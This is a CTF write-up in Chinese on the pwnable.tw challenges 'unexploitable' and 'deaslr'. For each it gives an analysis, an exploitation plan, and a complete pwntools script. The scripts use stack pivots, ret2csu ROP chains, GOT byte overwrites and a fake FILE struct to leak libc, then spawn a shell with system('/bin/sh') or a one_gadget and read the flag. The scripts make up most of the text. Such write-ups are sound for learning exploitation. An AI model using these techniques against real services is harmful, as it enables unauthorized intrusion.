2021年1月

分析

这题和pwnable.kr原题的差别在于程序本身没有了syscall这个gadget,需要另找别处。题目给了read和栈溢出,栈迁移是少不了的。考虑到GOT表可写,并且关于read的库实现有个可以利用的gadget:在read库函数起始位置+0xe的时候有一个syscall,并且只要返回值正常,后面会接上ret (重点!)。

思路

  1. 由分析可知,这题的关键在于控制read库函数+0xe处的gadget进行地址泄露。这个偏移只需要往read的got表地址写一个字节,同时写完这个字节后RAX的值刚好变成1,也就是SYS_write的系统调用号。当下一次再调用read时就会变成write;

  2. 得到write之后需要泄露__libc_start_main的got表值来计算libc基址。注意最好一个一个字节泄露,一次泄露多个字节会导致RAX过大,后续不方便控制。每次write一个字节可以保证RAX始终为1

  3. 完成泄露后还需要切换回SYS_read把算出来的system地址写入read_got中,最后传入提前写好的/bin/sh参数地址来getshell。这一步只需要write(1, addr, 0)输出0个字节,RAX的值就会变回0,也就是SYS_read的系统调用号;

  4. 环境很坑,每次输入前尝试把sleep时间调长一点,否则会出现read不进去的情况。

EXP

from pwn import *
import time

#p = process("./unexploitable", env={"LD_PRELOAD":"./libc_64.so.6"})
p = remote("chall.pwnable.tw", 10403)
elf = ELF("./unexploitable")
libc = ELF("./libc_64.so.6")

context.log_level = "debug"

# const
offset_byte = b"\x0e" # read offset to syscall

# addr
bss_addr = 0x601028
main_addr = 0x400544
read_plt = elf.symbols[b"read"]
read_got = elf.got[b"read"]
sleep_got = elf.got[b"sleep"]
libc_start_main = elf.got[b"__libc_start_main"]

# gadget
csu_gadget_1 = 0x4005e6
csu_gadget_2 = 0x4005d0
pop_rbp_ret = 0x400512
leave_ret = 0x400576

def csu_rop(rbx:int, rbp:int, call:int, rdi:int, rsi:int, rdx:int):
    rop = p64(csu_gadget_1)
    rop += p64(0) #padding
    rop += p64(rbx) #rbx
    rop += p64(rbp) #rbp
    rop += p64(call) #r12->call addr
    rop += p64(rdi) #r13->edi
    rop += p64(rsi) #r14->rsi
    rop += p64(rdx) #r15->rdx
    rop += p64(csu_gadget_2)
    rop += b"\x00"*0x38 #pad
    return rop

def exp():
    #gdb.attach(p, "b *0x400576\nc\n")
    #gdb.attach(p, "b system\nc\n")

    # migrate stack to bss && call read
    target_stack_1 = bss_addr + (0x100-0x8) # also write /bin/sh
    payload1 = b"a"*0x10 + p64(0xdeadbeef)
    payload1 += p64(csu_gadget_1)
    payload1 += p64(0) #padding
    payload1 += p64(0) #rbx
    payload1 += p64(1) #rbp
    payload1 += p64(read_got) #r12->call addr
    payload1 += p64(0) #r13->edi
    payload1 += p64(target_stack_1) #r14->rsi
    payload1 += p64(0x600) #r15->rdx
    payload1 += p64(csu_gadget_2)
    payload1 += b"\x00"*0x38 #pad
    payload1 += p64(pop_rbp_ret) #set rbp
    payload1 += p64(target_stack_1+0x8)
    payload1 += p64(leave_ret) # migrate
    print("len(payload1):", hex(len(payload1)))
    p.sendline(payload1)

    #pause()
    time.sleep(7)
    # read payload to target_stack_1
    payload2 = b"/bin/sh\x00"
    payload2 += p64(0xdeadbeef) #new rbp
    payload2 += csu_rop(0, 1, read_got, 0, read_got, 1) # modify LSB of read_got
    for i in range(6):
        payload2 += csu_rop(0, 1, read_got, 1, libc_start_main+i, 1) # leak sleep_got
    payload2 += csu_rop(0, 1, read_got, 1, libc_start_main, 0) # make RAX=0
    payload2 += csu_rop(0, 1, read_got, 0, read_got, 0x8) # make read_got -> system
    payload2 += csu_rop(0, 1, read_got, target_stack_1, 0, 0) # system("/bin/sh")
    payload2 += p64(main_addr)
    print("len(payload2):", hex(len(payload2)))
    p.sendline(payload2)

    #pause()
    time.sleep(7)
    p.send(b"\x7e")
    time.sleep(4)
    sleep_addr = u64(p.recv(6).ljust(8, b"\x00"))
    libc_base = sleep_addr - libc.symbols[b"__libc_start_main"]
    system = libc_base + libc.symbols[b"system"]
    print("sleep_addr:", hex(sleep_addr))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))

    #pause()
    time.sleep(7)
    p.send(p64(system))

    p.sendline("cat /home/*/flag")
    p.recvall()

if __name__ == "__main__":
    exp()

分析

题目只给了一个gets栈溢出,got开了全保护不能修改。按照题意对付aslr的话,爆破几率太渺茫了。应该要结合call reg以及栈残留指针来构造rop。

思路

  1. _libc_csu_init里面有这么一条gadget:call qword ptr [r12+rbx*8]。这意味着如果能够控制r12为一个libc地址,rbx为某个函数offset/8的话,就可以调用这个函数。

  2. 由于gets在调用时会在栈低地址留下_IO_2_1_stdin的地址,我们可以利用这个地址加上一定偏移去调用__IO_file_write来泄露地址。__IO_file_write函数与write函数的区别在于,第一个参数变成了一个文件结构体。为了成功利用,这个结构体中只需要保证fileno==1flag2==2就能成功调用(非常理想)。

  3. 为了利用栈残留信息,需要把栈迁移到bss这种地址固定并可控的段来操作。在此之前还要先向bss中不会受到调用栈影响的区域提前写好fake_file

  4. 迁移到bss上需要先执行一次gets让bss中残留下libc地址信息。然后再往远处迁移栈,避免利用时破坏残留在栈上的指针。迁移到远处后需要计算好残留指针的地址,往这个地址的上下填充其它值——因为gadget的限制,往往需要一次pop很多寄存器,而需要让残留指针放在r12寄存器里面就得把其它寄存器也构造好。其它寄存器涉及到传参以及分支跳转——注意让rbp=rbx+1防止跳转。

  5. 最终构造完在call reg之前应该保证:

    • RDIfake_file地址
    • RSI为gets的got表地址
    • RDX为输出长度
    • RBX为(__IO_file_write-残留指针)/8 (注意残留指针不一定是 _IO_2_1_stdin,因为gets在写的时候末位会有\x00截断覆盖掉_IO_2_1_stdin低位)
    • R12为残留指针
    • EBPrbx+1
  6. 泄露完地址走一次one_gadget就可以getshell了

EXP

from pwn import *

#p = process("./deaslr", env={"LD_PRELOAD":"./libc_64.so.6"})
p = remote("chall.pwnable.tw", 10402)
elf = ELF("./deaslr")
libc = ELF("./libc_64.so.6")
context.log_level = "debug"

# addr
main_addr = 0x400536
gets_plt = elf.symbols[b"gets"]
gets_got = elf.got[b"gets"]
bss_addr = 0x601010
data_addr = 0x601000

# gadget
pop_rbp_ret = 0x4004a0
leave_ret = 0x400554
ret = 0x4003f9
pop_rdi_ret = 0x4005c3
pop_rbx_rbp_r12_r13_r14_r15_ret = 0x4005ba
pop_r12_r13_r14_r15_ret = 0x4005bc
pop_rsp_r13_r14_r15_ret = 0x4005bd
call_r12_plus_rbx_mul_8 = 0x4005a9
set_args_and_call = call_r12_plus_rbx_mul_8 - 0x9
mveax0_leave_ret = 0x40054f

# struct
fake_file = b"\x00"*0x70+p64(1)+p64(2) # fileno flag
fake_file = fake_file.ljust(0xe0, b"\x00")

def exp():
    #gdb.attach(p, "b *0x40054f\nc\n")

    # write fake_file to bss
    fake_file_addr = bss_addr+0x100
    payload1 = b"a"*0x18 + p64(pop_rdi_ret) + p64(fake_file_addr) + p64(gets_plt) + p64(main_addr)
    p.sendline(payload1)

    p.sendline(fake_file)

    # Migrate stack to bss (to control stack_val)
    target_stack = bss_addr+0x200
    payload2 = b"a"*0x10 + p64(target_stack) + p64(pop_rdi_ret) + p64(target_stack) + p64(gets_plt)
    payload2 += p64(leave_ret)
    p.sendline(payload2)

    # write target_stack
    target_stack_2 = bss_addr + 0x400
    payload3 = p64(0xdeadbeef) #new rbp
    payload3 += p64(pop_rdi_ret) # get(target_stack_2)
    payload3 += p64(target_stack_2) #arg
    payload3 += p64(gets_plt)

    payload3 += p64(pop_rsp_r13_r14_r15_ret) # move to stack_2
    payload3 += p64(target_stack_2)
    p.sendline(payload3)

    # set target_stack_2
    payload4 = p64(0)*3
    payload4 += p64(pop_rdi_ret)
    payload4 += p64(target_stack-0x30-0x30)
    payload4 += p64(gets_plt) # set stack low
    payload4 += p64(pop_rdi_ret)
    payload4 += p64(target_stack-0x30+0x8)
    payload4 += p64(gets_plt) # set stack high
    payload4 += p64(pop_rsp_r13_r14_r15_ret)
    payload4 += p64(target_stack-0x30-0x30)
    p.sendline(payload4)

    ## low
    low = p64(0)*3 + p64(pop_rbx_rbp_r12_r13_r14_r15_ret)
    low += p64(0xfffffffffffffdeb) #rbx
    low += p64(0xfffffffffffffdeb+1) #rbp
    p.sendline(low)
    ## high
    high = p64(0x100) #r13 -> rdx
    high += p64(gets_got) #r14 -> rsi
    high += p64(fake_file_addr) #r15 -> edi
    high += p64(set_args_and_call)
    high += b"a"*0x38
    high += p64(main_addr)
    p.sendline(high)

    # get leak addr
    puts_addr = u64(p.recv(8))
    libc_base = puts_addr - libc.symbols[b"gets"]
    system = libc_base + libc.symbols[b"system"]
    binsh = libc_base + next(libc.search(b"/bin/sh"))
    one = [0x45216, 0x4526a, 0xef6c4, 0xf0567]
    one_gadget = libc_base + one[0]
    print("puts_addr:", hex(puts_addr))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))
    print("binsh:", hex(binsh))
    print("one_gadget:", hex(one_gadget))

    ## get shell
    #payload5 = b"a"*0x18 + p64(pop_rdi_ret) + p64(binsh) + p64(ret)*8 + p64(system) + p64(main_addr)
    payload5 = b"a"*0x18 + p64(one_gadget) # set eax=0

    p.sendline(payload5)

    p.interactive()

if __name__ == "__main__":
    exp()